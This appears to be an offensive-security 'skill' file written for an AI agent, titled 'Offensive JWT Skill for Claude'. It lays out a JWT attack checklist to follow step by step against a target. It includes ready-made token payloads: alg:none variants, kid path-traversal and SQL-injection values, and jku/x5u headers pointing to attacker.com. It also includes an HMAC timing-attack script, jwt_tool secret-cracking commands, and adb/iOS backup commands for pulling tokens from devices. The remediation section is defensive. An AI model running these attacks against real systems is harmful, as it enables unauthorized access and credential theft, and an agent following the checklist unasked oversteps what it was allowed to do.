Offensive JWT Skill for Claude

Overview

Comprehensive JWT attack checklist for offensive security engagements. Follow steps in order; apply each technique to the current target context and track which items have been completed.

Quick Reference: Misconfigurations to Check

• Algorithm set to none — signature verification bypassed entirely
• Algorithm switching between RSA and HMAC (confusion attack)
• Weak or guessable HMAC secret (brute-forceable)
• kid, jku, jwk, x5u header parameters accepted without validation
• Expired or tampered tokens accepted by server
• Sensitive data stored unencrypted in payload

Useful tool: JWT Tool

Mechanisms

JWTs (RFC 7519) consist of three Base64URL-encoded parts: header.payload.signature.

Signing algorithms:

| Algorithm | Type | Notes |

|-----------|------|-------|

| HS256/384/512 | Symmetric HMAC | Shared secret; confusion target |

| RS256/384/512 | Asymmetric RSA | Public key can be misused as HMAC secret |

| ES256/384/512 | Asymmetric ECDSA | |

| PS256/384/512 | RSASSA-PSS | |

| EdDSA (Ed25519/Ed448) | Asymmetric | |

| none | Unsigned | Critically insecure |

Additional pitfalls:

• JWS/JWE confusion: server accepts encrypted token (JWE) where signed (JWS) is expected, or fails open on unexpected typ/cty
• JWKS retrieval: SSRF via jku/x5u, insecure TLS, poisoned key caching, kid collisions
• Token binding (DPoP, mTLS): incorrectly implemented allows replay from other clients

Hunt: Identifying JWT Usage

• Check Authorization: Bearer <token> headers in all requests
• Look for cookies containing JWT structures (eyJ...)
• Examine browser local/session storage
• Decode the token at jwt.io or via BurpSuite JWT extension — inspect claims and header parameters
• Note any kid, jku, jwk, x5u fields in the header — these are attack surfaces

Vulnerability Map

JWT Vulnerabilities
├── Algorithm Bypass
│   ├── alg:none attack
│   └── RS256→HS256 confusion (public key as HMAC secret)
├── Weak Secret Key → Brute force
├── kid Parameter Injection
│   ├── SQL injection via kid
│   └── Path traversal via kid
├── Header Injection
│   ├── jwk (inline fake key)
│   ├── jku/x5u (remote attacker-controlled JWKS)
│   └── JWKS cache poisoning
└── Missing / Broken Validation
    ├── No signature check
    ├── Expired tokens accepted
    └── iss/aud/exp not validated

Vulnerabilities

Algorithm Vulnerabilities

• alg:none — Some libraries disable signature validation when alg is none or a case variant (None, NONE, nOnE)
• Algorithm Confusion (RS256→HS256) — Server uses RSA public key as HMAC secret when attacker switches alg to HS256; attacker re-signs token with the public key
• Key ID (kid) Manipulation — Exploiting kid to load wrong keys or inject file paths / SQL; enforce strict lookups

Signature Vulnerabilities

• Weak HMAC Secrets — Brute-forceable with dictionary or hashcat
• Missing Signature Validation — Token accepted without any verification
• Broken Validation — Implementation errors in signature checking logic

Implementation Issues

• Missing Claims Validation — exp, nbf, aud, iss not verified
• Insufficient Entropy — Predictable JWT IDs or tokens
• No Expiration — Tokens valid indefinitely
• Insecure Transport — Token sent over HTTP
• Debug Leakage — Detailed error messages expose implementation

Header Injection Attacks

• JWK Injection — Supply a custom attacker-controlled public key via the jwk header
• JKU Manipulation — Point jku (JWK Set URL) to attacker-controlled JWKS endpoint
• x5u Misuse — Load untrusted X.509 key URL; exploit lax TLS validation or open redirects
• JWKS Cache Poisoning — Force caches to accept attacker keys via kid collisions or response header manipulation
• crit Header Abuse — Server ignores unknown critical parameters, enabling bypass

Information Disclosure

• Sensitive data (PII, credentials, session details) stored unencrypted in payload
• Internal service/backend information leaked via claims

Additional Attack Vectors

Mobile App JWT Storage

Android:

• SharedPreferences: Check if world-readable; location /data/data/<package>/shared_prefs/
• Keystore extraction: root device or exploit app
• Backup extraction: adb backup -f backup.ab <package> (if allowBackup=true)
• Tools: Frida, objection, MobSF

iOS:

• Keychain: Check kSecAttrAccessible — kSecAttrAccessibleAlways is insecure
• iTunes/iCloud backup extraction: unencrypted backups expose Keychain
• Jailbreak + Keychain-Dumper for full extraction
• Tools: Frida, objection, idb

React Native / Hybrid:

• AsyncStorage stored in plain text (Android SQLite DB, iOS plist); no encryption by default

# Android — check SharedPreferences
adb shell "run-as com.target.app cat /data/data/com.target.app/shared_prefs/auth.xml"

# iOS — extract from backup
idevicebackup2 backup --full /path/to/backup
# Use plist/sqlite tools to extract JWT

JWT Confusion Attacks

• SAML-JWT Confusion — App accepts both SAML and JWT; send JWT where SAML expected or vice versa to exploit weaker validation path
• API Key-JWT Confusion — Test sending JWT where API key expected and vice versa
• Session Cookie-JWT Hybrid — Test expired JWT with valid session cookie; inject JWT claims into session
• OAuth Token Confusion — Send ID token (JWT) to resource server expecting opaque access token

# Try API key where JWT expected
curl -H "Authorization: Bearer <api_key>" https://api.target/resource

# Try JWT where API key expected
curl -H "X-API-Key: <jwt_token>" https://api.target/resource

Timing Attacks on HMAC

Non-constant-time comparison leaks the HMAC secret character by character via response time differences.

import requests, time

def time_request(signature):
    start = time.perf_counter()
    r = requests.get('https://target/api',
                     headers={'Authorization': f'Bearer header.payload.{signature}'})
    return time.perf_counter() - start

# Brute-force first byte — longer response time indicates correct byte
for byte in range(256):
    sig = bytes([byte]) + b'\x00' * 31
    t = time_request(sig.hex())

JWT in URL Parameters

• Tokens in GET URLs appear in server logs, proxy logs, browser history
• Leaked via Referer header to external sites; CDN/cache logs may persist tokens

curl "https://api.target/resource?token=eyJ..."
curl "https://api.target/resource?access_token=eyJ..."
curl "https://api.target/resource?jwt=eyJ..."

Check Wayback Machine for historical URLs with tokens; monitor Referer headers to third-party analytics.

Manual Testing Steps

• Decode and Inspect:

   base64url_decode(header) . base64url_decode(payload) . signature

• Test none Algorithm (try all case variants):

   {"alg":"none","typ":"JWT"}.payload.""
   {"alg":"None","typ":"JWT"}.payload.""
   {"alg":"NONE","typ":"JWT"}.payload.""
   {"alg":"nOnE","typ":"JWT"}.payload.""

• Algorithm Confusion (RS256→HS256):

   # Re-sign with RSA public key used as HMAC secret
   {"alg":"HS256","typ":"JWT","kid":"expected-key"}.payload.<re-signed-with-public-key-as-secret>

• kid Parameter Attacks:

   {"alg":"HS256","typ":"JWT","kid":"../../../../dev/null"}
   {"alg":"HS256","typ":"JWT","kid":"file:///dev/null"}
   {"alg":"HS256","typ":"JWT","kid":"' OR 1=1 --"}

• JWK/JKU Injection:

   {"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","e":"AQAB","kid":"attacker-key","n":"..."}}
   {"alg":"RS256","typ":"JWT","jku":"https://attacker.com/jwks.json"}

• x5u / crit Handling:

   {"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"}
   {"alg":"RS256","typ":"JWT","crit":["exp"],"exp":null}

• Brute Force HMAC Secret:

   python3 jwt_tool.py <token> -C -d wordlist.txt

• Test Missing Claim Validation:
• Remove or modify exp (expiration)
• Change iss (issuer) or aud (audience)
• Modify iat (issued at) or nbf (not before)

Automated Testing with JWT_Tool

# Basic token inspection
python3 jwt_tool.py <token>

# Full vulnerability scan
python3 jwt_tool.py <token> -M all

# Targeted attacks
python3 jwt_tool.py <token> -X a     # Algorithm confusion
python3 jwt_tool.py <token> -X n     # Null/none signature
python3 jwt_tool.py <token> -X i     # Identity theft
python3 jwt_tool.py <token> -X k     # Key confusion

# Crack HMAC secret
python3 jwt_tool.py <token> -C -d wordlist.txt

Other tools:

• JWT.io — basic token inspection and debugging
• Burp Suite JWT Scanner / JWT Editor extension — automated testing and token editing
• jwtXploiter — advanced JWT vulnerability scanning
• c-jwt-cracker — high-speed HMAC brute force (C implementation)
• Frida, objection, MobSF — mobile JWT extraction

Remediation Recommendations

• Use short-lived access tokens; rotate refresh tokens frequently
• Always validate aud (audience) and iss (issuer) claims
• Disable none algorithm; prevent algorithm downgrades; pin alg per client/issuer
• Ensure key material loaded for verification matches alg; reject mismatches
• Reject tokens with unknown crit header parameters
• Validate JWKS over pinned TLS; disallow remote jku/x5u except trusted domains; short-TTL key caching with kid uniqueness
• Enforce maximum token length; disable JWE compression unless required
• Maintain server-side deny-list keyed by jti for early revocation
• For DPoP tokens (typ:"dpop+jwt"): verify proof binds to HTTP request; enforce one-time nonce use
• Bind sessions to device when possible; rotate refresh tokens on every use
• Prefer SameSite=Lax/Strict HttpOnly cookies for web; avoid localStorage for access tokens

Alternatives & Modern Mitigations

• PASETO — removes algorithm negotiation entirely; eliminates confusion attacks
• Macaroons — bearer tokens with attenuable, caveat-based delegation
• DPoP and mTLS — bind tokens to the client to prevent replay